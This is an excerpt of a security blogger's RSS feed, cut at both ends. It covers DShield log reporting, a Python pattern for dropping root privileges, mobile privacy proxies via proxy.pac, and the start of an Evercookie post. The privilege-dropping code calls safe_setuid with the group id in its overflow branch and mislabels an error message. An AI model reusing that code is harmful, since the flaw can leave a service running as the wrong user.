        hackcheck.pl $IP| \
        mail -e -s &quot;DShield Hack Warning \
        on $(hostname -f) [$(date +%D)]&quot; $MAILTO
fi&lt;/pre&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;DShield relies on the submissions of people from around the world. Find out how you can contribute by submitting your logs &lt;a href=&quot;http://www.dshield.org/howto.php&quot; title=&quot;How to submit your firewall logs to DShield&quot;&gt;here&lt;/a&gt;.&lt;/p&gt; 
    </content:encoded>

    <pubDate>Sun, 07 Aug 2005 04:16:53 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/494-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Dropping Privileges in Python (pattern)</title>
    <link>http://www.singe.za.net/blog/archives/1041-Dropping-Privileges-in-Python-pattern.html</link>
            <category>Geek</category>
    
    <comments>http://www.singe.za.net/blog/archives/1041-Dropping-Privileges-in-Python-pattern.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1041</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1041</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    Recently, I had a &lt;a href=&quot;https://github.com/singe/mobile-proxy/blob/a03105b12283ca1281b7762f5118888cc7c0b922/blackhole_server.py&quot;&gt;simple python program&lt;/a&gt; that created a listening socket, and was uncomfortable running it as root (required to access a port below 1000). I had a quick look around, and found &lt;a href=&quot;http://antonym.org/2005/12/dropping-privileges-in-python.html&quot;&gt;a good blog entry on doing exactly this&lt;/a&gt;. However, when running this on OSX, which uses negative UID and GID, I ran into a problem. It turns out that the negative ID is an offset from UINT32_MAX, i.e. 2^32+(-ve UID). The problem is, Python 2.7.1 (Lion&#039;s default) os.setgid() was returning an OverFlowError (but not in 2.7.2). I made a mod to the code to handle that case, and figured this pattern may be useful to others wanting to drop privs in a python app.&lt;br /&gt; &lt;pre&gt;&lt;div class=&quot;line&quot; id=&quot;LC5&quot;&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;grp&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC17&quot;&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;safe_setgid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;running_gid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC18&quot;&gt;	&lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC19&quot;&gt;		&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;setgid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;running_gid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC20&quot;&gt;	&lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;ne&quot;&gt;OSError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC21&quot;&gt;		&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&#039;Could not set effective group id: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&#039;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC22&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC23&quot;&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;safe_setuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;running_uid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC24&quot;&gt;	&lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC25&quot;&gt;		&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;setuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;running_uid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC26&quot;&gt;	&lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;ne&quot;&gt;OSError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC27&quot;&gt;		&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&#039;Could not set effective group id: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&#039;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC28&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC29&quot;&gt;&lt;span class=&quot;c&quot;&gt;# Taken from http://antonym.org/2005/12/dropping-privileges-in-python.html&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC30&quot;&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;drop_privileges&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;uid_name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&#039;&lt;strong&gt;nobody&lt;/strong&gt;&#039;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gid_name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&#039;&lt;strong&gt;nogroup&lt;/strong&gt;&#039;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC31&quot;&gt;	&lt;span class=&quot;n&quot;&gt;starting_uid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC32&quot;&gt;	&lt;span class=&quot;n&quot;&gt;starting_gid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getgid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC33&quot;&gt;	&lt;span class=&quot;n&quot;&gt;starting_uid_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getpwuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;starting_uid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC34&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC35&quot;&gt;	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC36&quot;&gt;&lt;strong&gt;		&lt;span class=&quot;c&quot;&gt;# We&#039;re not root so don&#039;t drop, you may want to change this&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC37&quot;&gt;		&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;drop_privileges: already running as &#039;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&#039;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;starting_uid_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC38&quot;&gt;		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC39&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC40&quot;&gt;	&lt;span class=&quot;c&quot;&gt;# If we started as root, drop privs and become the specified user/group&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC41&quot;&gt;	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;starting_uid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC42&quot;&gt;		&lt;span class=&quot;c&quot;&gt;# Get the uid/gid from the name&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC43&quot;&gt;		&lt;span class=&quot;n&quot;&gt;running_uid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getpwnam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;uid_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC44&quot;&gt;		&lt;span class=&quot;n&quot;&gt;running_gid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;grp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getgrnam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gid_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC45&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC46&quot;&gt;		&lt;span class=&quot;c&quot;&gt;# Try setting the new uid/gid&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC47&quot;&gt;		&lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC48&quot;&gt;			&lt;span class=&quot;n&quot;&gt;safe_setgid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;running_gid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC49&quot;&gt;		&lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;ne&quot;&gt;OverflowError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC50&quot;&gt;			&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;running_gid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4294967290&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC51&quot;&gt;				&lt;span class=&quot;n&quot;&gt;running_gid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4294967296&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;running_gid&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC52&quot;&gt;				&lt;span class=&quot;n&quot;&gt;safe_setgid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;running_gid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC53&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC54&quot;&gt;		&lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC55&quot;&gt;			&lt;span class=&quot;n&quot;&gt;safe_setuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;running_uid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC56&quot;&gt;		&lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;ne&quot;&gt;OverflowError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC57&quot;&gt;			&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;running_uid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4294967290&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC58&quot;&gt;				&lt;span class=&quot;n&quot;&gt;running_uid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4294967296&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;running_uid&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC59&quot;&gt;				&lt;span class=&quot;n&quot;&gt;safe_setuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;running_gid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC60&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC61&quot;&gt;		&lt;span class=&quot;c&quot;&gt;# Ensure a very conservative umask&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC62&quot;&gt;		&lt;span class=&quot;n&quot;&gt;new_umask&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;strong&gt;&lt;span class=&quot;mo&quot;&gt;077&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC63&quot;&gt;		&lt;span class=&quot;n&quot;&gt;old_umask&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;umask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new_umask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC64&quot;&gt;		&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&#039;drop_privileges: Old umask: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;, new umask: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&#039;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;oct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;old_umask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;oct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new_umask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC65&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC66&quot;&gt;	&lt;span class=&quot;n&quot;&gt;final_uid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC67&quot;&gt;	&lt;span class=&quot;n&quot;&gt;final_gid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getgid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;line&quot; id=&quot;LC68&quot;&gt;	&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&#039;drop_privileges: running as &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&#039;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getpwuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;final_uid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;grp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getgrgid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;final_gid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt; 
    </content:encoded>

    <pubDate>Mon, 14 Nov 2011 16:08:00 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1041-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Mobile Privacy-Enhancing Proxies</title>
    <link>http://www.singe.za.net/blog/archives/1040-Mobile-Privacy-Enhancing-Proxies.html</link>
            <category>Privacy</category>
    
    <comments>http://www.singe.za.net/blog/archives/1040-Mobile-Privacy-Enhancing-Proxies.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1040</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1040</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    Modern web-browsers support all sorts of add-ons and plugins. From a privacy perspective, this means you can block adverts and trackers, use tools like GoogleSharing and other request re-directors. However, mobile devices typically don&#039;t have the same extensibility. While searching for a way to implement this, I came up with &lt;a href=&quot;http://www.singe.za.net/blog/archives/1020-GoogleSharing-For-Other-Browsers.html&quot; title=&quot;GoogleSharing for other browsers&quot;&gt;using proxy.pac&lt;/a&gt; as a way to do some more advanced network jiggery pokery, without requiring platform specifics (i.e. should work on iOS, Android or even Firefox &amp;amp; Chrome), or the need to jailbreak.&lt;br /&gt; &lt;p&gt;Unfortunately, 1984.za.net is down, and since then I&#039;ve done a bit more work on this. I presented this briefly in &lt;a href=&quot;http://www.slideshare.net/sensepost/a-brave-new-world-9962265&quot;&gt;my ITWeb presentation last year&lt;/a&gt; (slides 27-30), and figure it was about time to make this properly public. I&#039;ve put it up on my github at &lt;a href=&quot;https://github.com/singe/mobile-proxy&quot;&gt;mobile-proxy&lt;/a&gt; (have I mentioned I love github).&lt;/p&gt; 
&lt;p&gt;This is still pretty rough, but it proves the methodology and can be extended.&lt;/p&gt; 
&lt;p&gt;Two interesting things to come out of it are:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;iOS Mobile Proxy Configuration &lt;/strong&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;You can edit the proxy used when your phone is on a mobile network (i.e. not wifi) by editing the file (once jailbroken): /Library/Preferences/SystemConfiguration/preferences.plist and adding the ProxyAutoConfigURLString key as below:&lt;/p&gt; 
&lt;p&gt;&amp;#160;&lt;/p&gt; 
&lt;pre&gt;&amp;lt;dict&amp;gt;
	&amp;lt;key&amp;gt;HTTPEnable&amp;lt;/key&amp;gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;
	&amp;lt;key&amp;gt;HTTPProxyType&amp;lt;/key&amp;gt;
		&amp;lt;integer&amp;gt;2&amp;lt;/integer&amp;gt;
	&amp;lt;key&amp;gt;HTTPSEnable&amp;lt;/key&amp;gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;
	&amp;lt;key&amp;gt;ProxyAutoConfigEnable&amp;lt;/key&amp;gt;
		&amp;lt;integer&amp;gt;1&amp;lt;/integer&amp;gt;
	&amp;lt;key&amp;gt;ProxyAutoConfigURLString&amp;lt;/key&amp;gt;
		&amp;lt;string&amp;gt;https://&amp;lt;host&amp;gt;/proxy.php&amp;lt;/string&amp;gt;
&amp;lt;/dict&amp;gt;
&lt;/pre&gt; 
&lt;p&gt;It was pointed out on twitter that the &lt;a href=&quot;https://developer.apple.com/library/ios/#featuredarticles/FA_iPhone_Configuration_Utility/Introduction/Introduction.html#//apple_ref/doc/uid/TP40010176-CH1-SW30&quot;&gt;iPhone Configuration Utility&lt;/a&gt; should allow this to be done without the need to jailbreak. I&#039;ll test it and update things if it works. &lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BlackHole Proxy&lt;/strong&gt; &lt;br /&gt;&lt;/p&gt;
&lt;p&gt;The second interesting thing, is that to block access to a website just redirecting to a non-existent server won&#039;t work as WebKit based browsers in particular will try again without using the proxy. Thus, a blackhole proxy was needed. Gert at Sensepost wrote a quick &#039;n fast twisted server for those purposes, and I extended it to drop privileges to reduce attack surface. It&#039;s included on github. &lt;/p&gt; 
    </content:encoded>

    <pubDate>Fri, 11 Nov 2011 16:06:42 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1040-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Killing the Evercookie</title>
    <link>http://www.singe.za.net/blog/archives/1014-Killing-the-Evercookie.html</link>
            <category>Privacy</category>
    
    <comments>http://www.singe.za.net/blog/archives/1014-Killing-the-Evercookie.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1014</wfw:comment>

    <slash:comments>11</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1014</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;(Hi Slashdot &amp;amp; The Register readers. Make sure to check the &lt;a href=&quot;http://www.singe.za.net/blog/archives/1016-Killing-the-Evercookie-Part2-MobileSafari.html&quot; title=&quot;Killing the Evercookie - Part2 iOS&quot;&gt;2nd part&lt;/a&gt; on killing iPhone Evercookie&#039;s too) &lt;br /&gt;&lt;/p&gt;
&lt;p&gt;

